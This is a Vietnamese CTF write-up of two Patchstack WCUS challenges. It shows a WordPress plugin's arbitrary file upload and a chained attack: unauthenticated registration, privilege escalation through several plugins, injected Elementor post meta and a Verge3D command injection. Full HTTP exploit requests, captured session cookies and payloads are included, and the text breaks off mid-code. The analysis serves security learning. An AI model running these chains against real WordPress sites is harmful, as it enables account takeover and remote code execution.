Writeup Patchstack WCUS CTF (p2)
Tiếp nối bài viết của anh @minhtuan.nguy https://viblo.asia/p/writeup-patchstack-wcus-ctf-n1j4lO8jVwl mình sẽ writeup thêm 1 số bài nữa trong cuộc thi CTF này
My Shop Disaster
Thử thác này cung cấp cho chúng ta 1 plugin. Cùng xem qua source code của plugin này
add_action( 'wp_ajax_set_gallery_picture', array( $this, 'set_gallery_picture' ) );
add_action( 'wp_ajax_nopriv_set_gallery_picture', array( $this, 'set_gallery_picture' ) );
public function set_gallery_picture() {
if ( !is_admin() || !$this->check_permission() )
{
wp_send_json( 'Unauthorized!' );
}
$product_id = isset( $_POST['product_id'] ) ? intval( $_POST['product_id'] ) : 0;
// Verify that the product exists and is a WooCommerce product
if ( $product_id && function_exists( 'wc_get_product' ) ) {
if ( $_FILES && isset( $_FILES['gallery_picture'] ) ) {
$file = $_FILES['gallery_picture'];
$file_type = wp_check_filetype( basename( $file['name'] ), array( 'jpg', 'jpeg', 'png' ) );
$upload_dir = wp_upload_dir();
$upload_path = $upload_dir['basedir'] . '/woo-gallery/';
if ( !file_exists( $upload_path ) ) {
wp_mkdir_p( $upload_path );
}
if (move_uploaded_file( $file['tmp_name'], $upload_path . sanitize_file_name($file['name']) ) ) {
$file_url = $upload_dir['baseurl'] . '/woo-gallery/' . sanitize_file_name($file['name']);
if (function_exists( 'wc_gallery_set_attachment_from_url' ) )
{
$attachment_id = wc_gallery_set_attachment_from_url( $file_url, $product_id);
if ( $attachment_id) {
echo json_encode(array( 'success' => true, 'message' => 'Gallery picture uploaded successfully.' ) );
} else {
echo json_encode(array( 'success' => false, 'message' => 'Error adding attachment to product gallery.' ) );
}
}
else {
echo json_encode(array( 'success' => false, 'message' => 'Error adding attachment to Woocommerce product.' ) );
}
} else {
echo json_encode(array( 'success' => false, 'message' => 'Error uploading file.' ) );
}
} else {
echo json_encode(array( 'success' => false, 'message' => 'No file uploaded.' ) );
}
} else {
echo json_encode(array( 'success' => false, 'message' => 'Invalid product ID.' ) );
}
}
Khi nhìn qua đoạn code này tôi khá chắc chắn là plugin này bị lỗ hổng upload file tùy ý. Tuy nhiên cần lưu ý 1 số điểm trong đoạn code trên. Đầu tiên là nó check quyền của user thực hiện request này thông qua hàm is_admin
hoặc check_permission
. Cùng đi vào hàm check_permision
function check_permission() {
if ( !current_user_can( "manage_options" ) && strpos( wp_get_current_user()->user_login, 'admin' ) === false )
{
return false;
}
return true;
}
Chúng ta có thể dễ dàng pass qua đoạn check này nếu có 1 user có role bất kì như subcriber, customer... và username có tồn tại chuỗi admin
.
Tiếp theo $file_type = wp_check_filetype( basename( $file['name'] ), array( 'jpg', 'jpeg', 'png' ) );
, đoạn code thực hiện check filetype của file gửi lên, tuy nhiên nó lại không dùng ở đâu cả dẫn đến chúng ta có thể upload file tùy ý, và cuối cùng thì file của chúng ta upload sẽ được move vào thư mục upload_path
. Bằng với việc dùng câu lệnh echo
đơn giản thì tôi đã biết được upload_path = /var/www/html/wp-content/uploads/woo-gallery
.
Dạng của request upload file sẽ có dạng như sau:
khi truy cập vào panel admin http://100.25.255.51:9090/wp-login.php?redirect_to=http%3A%2F%2F100.25.255.51%3A9090%2Fwp-admin%2F&reauth=1
Tôi nhận thấy chúng ta có thể register 1 account, như vậy khi có account chúng ta hoàn toàn có thể pass qua đoạn check if ngay đầu tiên.
Sau đó chúng ta thực hiện upload shell
Flag: CTF{891241df84ff_ADMIN_PERMIT_ANYWAYS_0z195}
Oily Garchy
Sau khi tải source code của bài về, như thường lệ, tôi bắt đầu bằng việc xem xét xem bài này bao gồm những plugin gì, cấu hình của bài như thế nào để có thể đưa ra đại khái hướng đi của mình sẽ làm gì.
thông qua góc nhìn ban đầu, thì flag đã được đổi tên và đưa vào thư mục root, do đó để có thể đọc được flag, chúng ta có thể phải tấn công RCE. Ngoài ra cấu hình file .htaccess đã chặn chúng ta truy cập trực tiếp vào các đường dẫn như wp-admin/edit.php
, wp-admin/post.php
... hẳn là có lí do nào đây, tôi tạm gác lại ở đây. Cuối cùng thì bài đã install và active các plugin sau
- Elementor phiên bản mới nhất
- mstore-api phiên bản 4.15.3
- build-app-online phiên bản 1.0.19
- essential-addons-for-elementor-lite phiên bản 5.8.7
- verge3d phiên bản 4.7.1
- wordapp-mobile-app phiên bản 2.0.3
Có vẻ như bài này hướng đến việc chúng ta dựng lại poc 1day từ các lỗ hổng đã biết. Thực tế lúc làm bài này tôi đã làm rất nhiều thứ, nhưng hiện tại thì tôi sẽ đi theo 1 flow dễ hiểu nhất.
Unauthorized User Registration in MStore API
Khi tìm kiếm các lỗ hổng liên quan đến MStore API 4.15.3 tôi tìm được bài viết sau: MStore API – Create Native Android & iOS Apps On The Cloud < 4.15.4 – Unauthorized User Registration | CVE 2024-8269 | Plugin Vulnerabilities (wpscan.com). Qua thông tin về lỗ hổng, tôi biết được lỗ hổng tồn tại ở function register().
public function register()
{
$json = file_get_contents('php://input');
$params = json_decode($json, TRUE);
$usernameReq = $params["username"];
$emailReq = $params["email"];
$userPassReq = $params["user_pass"];
$userLoginReq = $params["user_login"];
$userEmailReq = $params["user_email"];
$referralCodeReq = $params["referral_code"];
if(array_key_exists('role', $params)){
$role = $params["role"];
}
if (isset($role)) {
if (!in_array($role, ['subscriber', 'wcfm_vendor', 'seller', 'wcfm_delivery_boy', 'driver','owner'], true)) {
return parent::sendError("invalid_role", "Role is invalid.", 400);
}
}
..............................
hàm này được gọi thông qua rest api sau
register_rest_route($this->namespace, '/register', array(
array(
'methods' => 'POST',
'callback' => array($this, 'register'),
'permission_callback' => function () {
return parent::checkApiPermission();
}
),
));
rest API này có check permision tuy nhiên thì nó lại luôn trả về true=> nghĩa là unauthenticated user cũng có thể gọi đến api này.
public function checkApiPermission()
{
return isPurchaseCodeVerified();
}
function isPurchaseCodeVerified(){
return true;
// $random_key = get_option('mstore_active_random_key');
// $hash_code = get_option('mstore_active_hash_code');
// $code = get_option('mstore_purchase_code_key');
// return md5('inspire@123%$'.$random_key) == $hash_code && isset($code) && $code != false && strlen($code) > 0;
}
Privilege escalation in build-app-online and essential-addons-for-elementor-lite plugin
Privilege escalation in build-app-online
Tôi tìm được bài viết này, tuy nhiên thì đoạn code trong challenge đã fix lỗ hổng này rồi Build App Online < 1.0.21 – Subscriber+ Privilege Escalation | CVE 2023-51479 | Plugin Vulnerabilities (wpscan.com)
public function update_user_meta_value() {
$data = json_decode(file_get_contents("php://input"));
$user_id = get_current_user_id();
if ($user_id) {
foreach ($data as $k => $v) {
if ($k === 'bao_uid' || $k === 'fcm_token') {
$value = sanitize_text_field($v);
update_user_meta($user_id, $k, $value);
}
}
wp_send_json($data);
} else {
wp_send_json(false);
}
}
Do đó tôi tiến hành diff phiên bản 1.0.19 của plugin này với source code trong challenge và tôi tìm thấy đoạn code sau
update_address
có thể update user meta tùy ý vì dữ liệu đầu vào là từ POST request, tuy nhiên chúng ta không thể dùng đoạn code này để leo quyền trực tiếp lên administrator, editor hay author do đoạn check if(!array_key_exists("administrator", $value) && !array_key_exists("editor", $value) && !array_key_exists("author", $value))
dó đó từ đây chúng ta chỉ có thể leo quyền từ subsciber lên contributor. Ngoài ra chúng ta có thể call hàm này thông qua ajax action
$this->loader->add_action('wp_ajax_build-app-online-update-address', $plugin_public, 'update_address');
$this->loader->add_action('wp_ajax_nopriv_build-app-online-update-address', $plugin_public, 'update_address');
User của chúng ta sau request này đã thành contributor
Privilege escalation in essential-addons-for-elementor-lite
Khi tìm kiếm các lỗ hổng liên quan đến plugin này tôi tìm được bài viết sau Vulnerability in Essential Addons for Elementor - Patchstack
public function register_user() {
$ajax = wp_doing_ajax();
---------------------- CUTTED HERE ----------------------
// validate & sanitize the request data
if ( empty( $_POST['eael-register-nonce'] ) ) {
if ( $ajax ) {
wp_send_json_error( __( 'Insecure form submitted without security token', 'essential-addons-for-elementor-lite' ) );
}
if (isset($_SERVER['HTTP_REFERER'])) {
wp_safe_redirect($_SERVER['HTTP_REFERER']);
exit();
}
}
// handle registration...
$user_data = [
'user_login' => $username,
'user_pass' => $password,
'user_email' => $email,
];
if ( ! empty( $_POST['first_name'] ) ) {
$user_data['first_name'] = self::$email_options['firstname'] = sanitize_text_field( $_POST['first_name'] );
}
if ( ! empty( $_POST['last_name'] ) ) {
$user_data['last_name'] = self::$email_options['lastname'] = sanitize_text_field( $_POST['last_name'] );
}
if ( ! empty( $_POST['website'] ) ) {
$user_data['user_url'] = self::$email_options['website'] = esc_url_raw( $_POST['website'] );
}
if ( ! empty( $_POST['eael_phone_number'] ) ) {
$user_data['eael_phone_number'] = self::$email_options['eael_phone_number'] = sanitize_text_field( $_POST['eael_phone_number'] );
}
if( count( $eael_custom_profile_fields_text ) ){
foreach( $eael_custom_profile_fields_text as $eael_custom_profile_field_text_key => $eael_custom_profile_field_text_value ){
self::$email_options[$eael_custom_profile_field_text_key] = '';
if ( ! empty( $_POST[ $eael_custom_profile_field_text_key ] ) ) {
$user_data[$eael_custom_profile_field_text_key] = self::$email_options[$eael_custom_profile_field_text_key] = sanitize_text_field( $_POST[ $eael_custom_profile_field_text_key ] );
}
}
}
$register_actions = [];
$custom_redirect_url = '';
if ( !empty( $settings) ) {
$register_actions = ! empty( $settings['register_action'] ) ? (array) $settings['register_action'] : [];
$custom_redirect_url = ! empty( $settings['register_redirect_url']['url'] ) ? esc_url_raw( $settings['register_redirect_url']['url'] ) : '/';
if ( ! empty( $settings['register_user_role'] ) ) {
$user_data['role'] = sanitize_text_field( $settings['register_user_role'] );
}
---------------------- CUTTED HERE ----------------------
}
$custom_redirect_url = apply_filters( 'eael/login-register/register-redirect-url', $custom_redirect_url, $this );
$user_data = apply_filters( 'eael/login-register/new-user-data', $user_data );
do_action( 'eael/login-register/before-insert-user', $user_data );
$user_default_role = get_option( 'default_role' );
if(!empty($user_default_role) && empty($user_data['role'])){
$user_data['role'] = $user_default_role;
}
if ('administrator' == strtolower($user_data['role'])) {
$user_data['role'] = !empty($settings['register_user_role']) ? wp_strip_all_tags( $settings['register_user_role'] ) : get_option('default_role');
}
$user_id = wp_insert_user( $user_data );
---------------------- CUTTED HERE ----------------------
Lưu ý rằng chúng ta có thể đặt $user_data['role']
thành giá trị của $settings['register_user_role']
. Bản thân $user_data xuất phát từ đầu vào của người dùng nhưng chúng ta không thể kiểm soát tham số role, trong khi $settings xuất phát từ cài đặt user registration form widget
. Để call đến hàm này thì chúng ta sẽ call đến hàm login_or_register_user
public function login_or_register_user() {
do_action( 'eael/login-register/before-processing-login-register', $_POST );
// login or register form?
if ( isset( $_POST['eael-login-submit'] ) ) {
$this->log_user_in();
} else if ( isset( $_POST['eael-register-submit'] ) ) {
$this->register_user();
} else if ( isset( $_POST['eael-lostpassword-submit'] ) ) {
$this->send_password_reset();
} else if ( isset( $_POST['eael-resetpassword-submit'] ) ) {
$this->reset_password();
}
do_action( 'eael/login-register/after-processing-login-register', $_POST );
}
mà hàm này lại được khởi tạo ngay khi active plugin nên về cơ bản chúng ta có thể call đến nó từ bất kì đâu miễn sao có $_POST['eael-register-submit']
. Ví dụ
POST /wp-admin/profile.php HTTP/1.1
Host: 10.25.255.51:9099
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 146
Origin: http://localhost:8085
Connection: close
Cookie: wordpress_34611448d13c0917400c9b38f49cad7d=ngocanhsubcriber%7C1726925720%7Ci0HKlNWLbGBlW92GOeoHqMNkm0Rd3dOIk8yGaUG4nvh%7Ce593c273d673944195b0d21646eacdcf0f7c6c0d43f89e9c618c18ce100fe4dc; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_34611448d13c0917400c9b38f49cad7d=ngocanhsubcriber%7C1726925720%7Ci0HKlNWLbGBlW92GOeoHqMNkm0Rd3dOIk8yGaUG4nvh%7Cac7a873effbdcb74710d5bee86db4a19c9aa7ef0620ae0d204f8bfae65c25d6f; wp-settings-time-72=1726752921
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-PwnFox-Color: red
eael-register-nonce=c291265c6e&eael-register-submit=profile&user_name=b&password=b&confirm_password=b&email=b@gmail.com&page_id=289&widget_id=1234
Giá trị eael-register-nonce sẽ được lấy thông qua 1 request
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 100.25.255.51:9099
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:8085/wordpress/wp-admin/post.php?post=459&action=elementor
X-Requested-With: XMLHttpRequest
Content-Length: 21
Origin: http://localhost:8085
Connection: close
Cookie: wordpress_34611448d13c0917400c9b38f49cad7d=ngocanhsubcriber%7C1726925720%7Ci0HKlNWLbGBlW92GOeoHqMNkm0Rd3dOIk8yGaUG4nvh%7Ce593c273d673944195b0d21646eacdcf0f7c6c0d43f89e9c618c18ce100fe4dc; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_34611448d13c0917400c9b38f49cad7d=ngocanhsubcriber%7C1726925720%7Ci0HKlNWLbGBlW92GOeoHqMNkm0Rd3dOIk8yGaUG4nvh%7Cac7a873effbdcb74710d5bee86db4a19c9aa7ef0620ae0d204f8bfae65c25d6f; wp-settings-time-72=1726752921
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
action=eael_get_token
public function eael_get_token() {
$nonce = wp_create_nonce( 'essential-addons-elementor' );
if ( $nonce ) {
wp_send_json_success( [ 'nonce' => $nonce ] );
}
wp_send_json_error( __( 'you are not allowed to do this action', 'essential-addons-for-elementor-lite' ) );
}
Thật không may, trên server lại không enable widget user registration form widget
, dẫn đến tôi bị stuck trong 1 khoảng thời gian khá dài.
Tôi bắt đầu quan sát dữ liệu trong bảng wp_postmeta khi tôi enable widget này lên và setting register_user_role ở subscriber. Nó sẽ có dạng như sau:
- meta_key:
_elementor_data
- meta_value:
[{"id":"1164b4b","elType":"container","settings":[],"elements":[{"id":"1111","elType":"widget","settings":{"content_width":"full","log_out_link_text":"You are already logged in as [username]. ([logout_link])","lost_password_text":"Forgot Password?","remember_text":"Remember Me","registration_link_text":" Register Now","login_link_text":" Sign In","login_link_text_lostpassword":" Sign In","login_user_label":"Username or Email Address","login_password_label":"Password","login_user_placeholder":"Username or Email Address","login_password_placeholder":"Password","login_button_text":"Log In","register_fields":[{"field_type":"user_name","field_label":"Username","placeholder":"Username","_id":"35d9153"},{"field_type":"email","field_label":"Email","placeholder":"Email","required":"yes","_id":"a01781b"},{"field_type":"password","field_label":"Password","placeholder":"Password","required":"yes","_id":"d31c715"}],"reg_button_text":"Register","register_user_role":"subscriber","reg_email_subject":"Thank you for registering on test!","reg_admin_email_subject":"[test] New User Registration","lostpassword_user_label":"Username or Email Address","lostpassword_user_placeholder":"Username or Email Address","lostpassword_button_text":"Reset Password","lostpassword_email_subject":"Password Reset Confirmation","lostpassword_email_message_reset_link_text":"Click here to reset your password","resetpassword_password_label":"New Password","resetpassword_confirm_password_label":"Confirm New Password","resetpassword_password_placeholder":"New Password","resetpassword_confirm_password_placeholder":"Confirm New Password","resetpassword_button_text":"Save Password","acceptance_label":"I Accept the Terms and Conditions.","err_email":"You have used an invalid email","err_email_missing":"Email is missing or Invalid","err_email_used":"The provided email is already registered with other account. Please login or reset password or use another email.","err_username":"You have used an invalid username","err_username_used":"Invalid username provided or the username already registered.","err_pass":"Your password is invalid.","err_conf_pass":"Your confirmed password did not match","err_loggedin":"You are already logged in","err_recaptcha":"You did not pass reCAPTCHA challenge.","err_reset_password_key_expired":"Your password reset link appears to be invalid. Please request a new link.","err_tc":"You did not accept the Terms and Conditions. Please accept it and try again.","err_unknown":"Something went wrong!","err_phone_number_missing":"Phone number is missing","err_phone_number_invalid":"Invalid phone number provided","success_login":"You have logged in successfully","success_register":"Registration completed successfully, Check your inbox for password if you did not provided while registering.","success_lostpassword":"Check your email for the confirmation link.","success_resetpassword":"Your password has been reset.","rmark_sign":"*"},"elements":[],"widgetType":"eael-login-register"}],"isInner":""}]
1 suy nghĩ lóe lên trong đầu tôi rằng, liệu rằng mình có thể chèn setting trên vào 1 widget khác cái mà đã được enable mặc định với register_user_role = author hay không. Do đó tôi đã sửa đổi dữ liệu trong database local của mình như sau:
[{"id":"1111","elType":"container","settings":[],"elements":[{"id":"1234","elType":"widget","settings":{"content_width":"full","log_out_link_text":"You are already logged in as [username]. ([logout_link])","lost_password_text":"Forgot Password?","remember_text":"Remember Me","registration_link_text":" nRegister Now","login_link_text":" nSign In","login_link_text_lostpassword":" nSign In","login_user_label":"Username or Email Address","login_password_label":"Password","login_user_placeholder":"Username or Email Address","login_password_placeholder":"Password","login_button_text":"Log In","register_fields":[{"field_type":"user_name","field_label":"Username","placeholder":"Username","_id":"35d9153"},{"field_type":"email","field_label":"Email","placeholder":"Email","required":"yes","_id":"a01781b"},{"field_type":"password","field_label":"Password","placeholder":"Password","required":"yes","_id":"d31c715"}],"reg_button_text":"Register","register_user_role":"author","reg_email_subject":"Thank you for registering on test!","reg_admin_email_subject":"[test] New User Registration","lostpassword_user_label":"Username or Email Address","lostpassword_user_placeholder":"Username or Email Address","lostpassword_button_text":"Reset Password","lostpassword_email_subject":"Password Reset Confirmation","lostpassword_email_message_reset_link_text":"Click here to reset your password","resetpassword_password_label":"New Password","resetpassword_confirm_password_label":"Confirm New Password","resetpassword_password_placeholder":"New Password","resetpassword_confirm_password_placeholder":"Confirm New Password","resetpassword_button_text":"Save Password","acceptance_label":"I Acceptn the Terms and Conditions.","err_email":"You have used an invalid email","err_email_missing":"Email is missing or Invalid","err_email_used":"The provided email is already registered with other account. Please login or reset password or use another email.","err_username":"You have used an invalid username","err_username_used":"Invalid username provided or the username already registered.","err_pass":"Your password is invalid.","err_conf_pass":"Your confirmed password did not match","err_loggedin":"You are already logged in","err_recaptcha":"You did not pass reCAPTCHA challenge.","err_reset_password_key_expired":"Your password reset link appears to be invalid. Please request a new link.","err_tc":"You did not accept the Terms and Conditions. Please accept it and try again.","err_unknown":"Something went wrong!","err_phone_number_missing":"Phone number is missing","err_phone_number_invalid":"Invalid phone number provided","success_login":"You have logged in successfully","success_register":"Registration completed successfully, Check your inbox for password if you did not provided while registering.","success_lostpassword":"Check your email for the confirmation link.","success_resetpassword":"Your password has been reset.","rmark_sign":"*"},"elements":[],"widgetType":"nested-tabs"}],"isInner":""}]
Sau đó tôi tạo account thông qua request phía trên và quả nhiên tôi đã tạo được account với role author. Vấn đề tiếp tục nảy sinh, tôi đang sửa đổi trực tiếp trong database phía local, cho nên tôi không thể làm như vậy với server được. Tôi phải tìm được 1 hàm nào đấy cho phép tôi update_post_meta. Tôi tìm kiếm trong source code và phát hiện đoạn code sau:
function wa_pn_save_meta($post_id, $post) {
$json_meta = json_decode(file_get_contents('php://input'), true);
$json_meta['_wapn'] = sanitize_text_field($_POST['_wapn']);
$json_meta['_wapn_sent'] = sanitize_text_field($_POST['_wapn_sent']);
$json_meta['_wapn_key'] = sanitize_text_field($_POST['_wapn_key']);
foreach ($json_meta as $key => $value) { // Cycle through the $events_meta array!
if( $post->post_type == 'revision' ) return; // Don't store custom data twice
$value = implode(',', (array)$value); // If $value is an array, make it a CSV (unlikely)
if(get_post_meta($post->ID, $key, FALSE)) { // If the custom field already has a value
update_post_meta($post->ID, $key, sanitize_text_field($value) );
} else { // If the custom field doesn't have a value
add_post_meta($post->ID, $key, sanitize_text_field($value) );
}
if(!$value) delete_post_meta($post->ID, $key); // Delete if blank
}
}
đoạn code thực hiện update_post_meta với bài viết hiện tại mà chúng ta tạo, key và value chúng ta hoàn toàn có thể kiểm soát thông qua $json_meta = json_decode(file_get_contents('php://input'), true);
Về lý thuyết với đoạn code này chúng ta có thể update post meta về giá trị như phía trên tôi đề cập. Vấn đề lại lần nữa phát sinh khi wa_pn_save_meta
chỉ được gọi khi chúng ta save_post
add_action('save_post', array($this,'wa_pn_save_meta'), 1, 2);
Tuy nhiên cấu hình .htacces lại chặn hầu hết các cách chúng ta có thể tạo post. Khi tìm hiểu thì tôi biết được rằng wp_insert_post
cũng sẽ trigger action trên. Tôi tiếp tục tìm kiếm trong source code thì tìm được đoạn code sau:
register_rest_route( $this->namespace, '/blog/create', array(
array(
'methods' => "POST",
'callback' => array( $this, 'create_blog' ),
'permission_callback' => function () {
return parent::checkApiPermission();
}
),
));
function create_blog($request){
$helper = new FlutterBlogHelper();
return $helper->create_blog($request);
}
public function create_blog($request){
$title = sanitize_text_field($request['title']);
$content = sanitize_text_field($request['content']);
$author = sanitize_text_field($request['author']);
$date = sanitize_text_field($request['date']);
$status = sanitize_text_field($request['status']);
$categories = sanitize_text_field($request['categories']);
$token = sanitize_text_field($request['token']);
$image = sanitize_text_field($request['image']);
if (isset($token)) {
$cookie = urldecode(base64_decode($token));
} else {
return new WP_Error("unauthorized", "You are not allowed to do this", array('status' => 401));
}
$user_id = validateCookieLogin($cookie);
if (is_wp_error($user_id)) {
return $user_id;
}
if($user_id != $author){
return new WP_Error("unauthorized", "You are not allowed to do this", array('status' => 401));
}
if($status == 'publish' || $status == 'published'){
return new WP_Error("unauthorized", "You are not allowed to publish this post", array('status' => 401));
}
$my_post = array(
'post_author' => $user_id,
'post_title' => $title,
'post_content' => $content,
'post_status' => $status,
'post_category' => [$categories],
);
$post_id = wp_insert_post( $my_post );
if(isset($image)){
$img_id = upload_image_from_mobile($image, 0 ,$user_id);
if($img_id != false){
set_post_thumbnail($post_id, $img_id);
}
}
return new WP_REST_Response(
[
"status" => "success",
"response" => '',
],
200
);
}
$token là mã hóa base64 của giá trị cookie login có dạng: wordpress_logged_in_d086acf6b71d76b1364876d45d18148a=newusertest%7C1727231824%7C8rT8U6PboNC3kSGl8KlXSadzR23f6PgHdr1pBfsisya%7Cc094b10307a2a3cef23e4a74d83743262b4d110072e31ae6d14303280303a3d1
Tổng hợp lại các bước từ trên xuống ta sẽ được 1 request để tạo 1 post với meta_key là _elementor_data
và có giá trị như mong muốn như sau:
POST /wp-json/api/flutter_blog/blog/create HTTP/1.1
Host: 100.25.255.51:9099
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:8085/wordpress/wp-admin/post.php?post=459&action=elementor
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 3575
Origin: http://localhost:8085
Connection: close
Cookie: wordpress_34611448d13c0917400c9b38f49cad7d=ngocanhsubcriber%7C1726925720%7Ci0HKlNWLbGBlW92GOeoHqMNkm0Rd3dOIk8yGaUG4nvh%7Ce593c273d673944195b0d21646eacdcf0f7c6c0d43f89e9c618c18ce100fe4dc; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_34611448d13c0917400c9b38f49cad7d=ngocanhsubcriber%7C1726925720%7Ci0HKlNWLbGBlW92GOeoHqMNkm0Rd3dOIk8yGaUG4nvh%7Cac7a873effbdcb74710d5bee86db4a19c9aa7ef0620ae0d204f8bfae65c25d6f; wp-settings-time-72=1726752921
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-PwnFox-Color: red
{"token":"bmdvY2FuaHN1YmNyaWJlciU3QzE3MjY5MjU3MjAlN0NpMEhLbE5XTGJHQmxXOTJHT2VvSHFNTmttMFJkM2RPSWs4eUdhVUc0bnZoJTdDYWM3YTg3M2VmZmJkY2I3NDcxMGQ1YmVlODZkYjRhMTljOWFhN2VmMDYyMGFlMGQyMDRmOGJmYWU2NWMyNWQ2Zg==","author":123,"title":"finatest",
"content":"hahahahah","_elementor_data":"[{\"id\":\"1111\",\"elType\":\"container\",\"settings\":[],\"elements\":[{\"id\":\"1234\",\"elType\":\"widget\",\"settings\":{\"content_width\":\"full\",\"log_out_link_text\":\"You are already logged in as [username]. ([logout_link])\",\"lost_password_text\":\"Forgot Password?\",\"remember_text\":\"Remember Me\",\"registration_link_text\":\" \nRegister Now\",\"login_link_text\":\" \nSign In\",\"login_link_text_lostpassword\":\" \nSign In\",\"login_user_label\":\"Username or Email Address\",\"login_password_label\":\"Password\",\"login_user_placeholder\":\"Username or Email Address\",\"login_password_placeholder\":\"Password\",\"login_button_text\":\"Log In\",\"register_fields\":[{\"field_type\":\"user_name\",\"field_label\":\"Username\",\"placeholder\":\"Username\",\"_id\":\"35d9153\"},{\"field_type\":\"email\",\"field_label\":\"Email\",\"placeholder\":\"Email\",\"required\":\"yes\",\"_id\":\"a01781b\"},{\"field_type\":\"password\",\"field_label\":\"Password\",\"placeholder\":\"Password\",\"required\":\"yes\",\"_id\":\"d31c715\"}],\"reg_button_text\":\"Register\",\"register_user_role\":\"author\",\"reg_email_subject\":\"Thank you for registering on \\test\\!\",\"reg_admin_email_subject\":\"[\\test\\] New User Registration\",\"lostpassword_user_label\":\"Username or Email Address\",\"lostpassword_user_placeholder\":\"Username or Email Address\",\"lostpassword_button_text\":\"Reset Password\",\"lostpassword_email_subject\":\"Password Reset Confirmation\",\"lostpassword_email_message_reset_link_text\":\"Click here to reset your password\",\"resetpassword_password_label\":\"New Password\",\"resetpassword_confirm_password_label\":\"Confirm New Password\",\"resetpassword_password_placeholder\":\"New Password\",\"resetpassword_confirm_password_placeholder\":\"Confirm New Password\",\"resetpassword_button_text\":\"Save Password\",\"acceptance_label\":\"I Accept\n the Terms and Conditions.\",\"err_email\":\"You have used an invalid email\",\"err_email_missing\":\"Email is missing or Invalid\",\"err_email_used\":\"The provided email is already registered with other account. Please login or reset password or use another email.\",\"err_username\":\"You have used an invalid username\",\"err_username_used\":\"Invalid username provided or the username already registered.\",\"err_pass\":\"Your password is invalid.\",\"err_conf_pass\":\"Your confirmed password did not match\",\"err_loggedin\":\"You are already logged in\",\"err_recaptcha\":\"You did not pass reCAPTCHA challenge.\",\"err_reset_password_key_expired\":\"Your password reset link appears to be invalid. Please request a new link.\",\"err_tc\":\"You did not accept the Terms and Conditions. Please accept it and try again.\",\"err_unknown\":\"Something went wrong!\",\"err_phone_number_missing\":\"Phone number is missing\",\"err_phone_number_invalid\":\"Invalid phone number provided\",\"success_login\":\"You have logged in successfully\",\"success_register\":\"Registration completed successfully, Check your inbox for password if you did not provided while registering.\",\"success_lostpassword\":\"Check your email for the confirmation link.\",\"success_resetpassword\":\"Your password has been reset.\",\"rmark_sign\":\"*\"},\"elements\":[],\"widgetType\":\"nested-tabs\"}],\"isInner\":\"\"}]"}
Sau khi tạo bài viết chúng ta sẽ cần tìm đúng id của bài viết chúng ta vừa tạo bằng cách sử dụng request đến url http://100.25.255.51:9099/?p=445 (ở đây cần brute force id của bài viết cho ra bài viết chúng ta vừa tạo). Tiếp theo chúng ta tạo tài khoản với role author như ở request phía trên cùng mà tôi đã đề cập
RCE in verge3d
Thông qua việc tìm kiếm với từ khóa verge3d 4.7.1 CVE
tôi tìm được bài viết Verge3D Vulnerabilities - Patchstack. Tuy nhiên lỗ hổng RCE lại đã được fix ở phiên bản 4.5.3 mà phiên bản hiện tại của bài là 4.7.1. Tôi tiến hành download Verge3D phiên bản 4.7.1 về để diff với phiên bản trong bài.
ở phiên bản trong thử thách, ngoài 2 role administrator và editor thì còn thêm 1 role là author có quyền manage_verge3d
.
Ngoài ra trong challenge thì đoạn code đã không sử dụng escapeshellarg
đối với biến $pdf
. Rất có khả năng đoạn này bị dính lỗ hổng command injection. Xem xét kĩ hơn.
function v3d_terminal($command) {
$output = '';
$command = $command;
if (function_exists('system')) {
ob_start();
system($command, $return_var);
$output = ob_get_contents();
ob_end_clean();
}
Đến đây có thể khẳng định rằng nếu chúng ta control được $pdf
thì chúng ta có thể RCE được.
function v3d_gen_email_attachments($order, $order_id, $gen_custom, $gen_pdftypes=array()) {
$attachments = array();
if ($gen_custom and !empty($order['attachments'])) {
foreach ($order['attachments'] as $index => $att_url) {
$att_file = v3d_get_upload_dir().'attachments/'.basename($att_url);
if (is_file($att_file)) {
$name = 'attachment'.($index >= 1 ? $index+1 : '').'.'.pathinfo($att_file, PATHINFO_EXTENSION);
$att_path_tmp = v3d_get_attachments_tmp_dir($attachments).$name;
copy($att_file, $att_path_tmp);
$attachments[] = $att_path_tmp;
}
}
}
$chrome_path = v3d_get_chrome_path();
if (!empty($chrome_path)) {
foreach ($gen_pdftypes as $pdftype) {
ob_start();
include v3d_get_template('order_pdf.php');
$pdf_html_text = ob_get_clean();
$temp_dir = get_temp_dir();
$pdf_html = $temp_dir.wp_unique_filename($temp_dir, uniqid('v3d_email_att').'.html');
$pdf = v3d_get_attachments_tmp_dir($attachments).$pdftype.'.pdf';
$success = file_put_contents($pdf_html, $pdf_html_text);
if ($success) {
// NOTE: undocumented wkhtmltopdf feature
if (basename($chrome_path) == 'wkhtmltopdf')
v3d_terminal($chrome_path.' -s Letter --print-media-type '.$pdf_html.' '.$pdf);
else
